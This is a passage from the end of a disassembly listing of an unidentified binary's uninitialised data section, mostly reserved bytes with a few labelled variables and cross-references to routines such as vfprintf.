					; getanswer+A8w ...
dword_807E78C	dd ?			; DATA XREF: vfprintf+1E13r
					; vfprintf+1E24r ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807EB8C	dd ?			; DATA XREF: sub_805DA10+DBw
					; sub_80668AC+DBr
dword_807EB90	dd ?			; DATA XREF: sub_805DA10+D2w
					; sub_80668AC+EFr
dword_807EB94	dd ?			; DATA XREF: sub_805CE84+32r
					; sub_805CE84+68w ...
_bss		ends


		end start
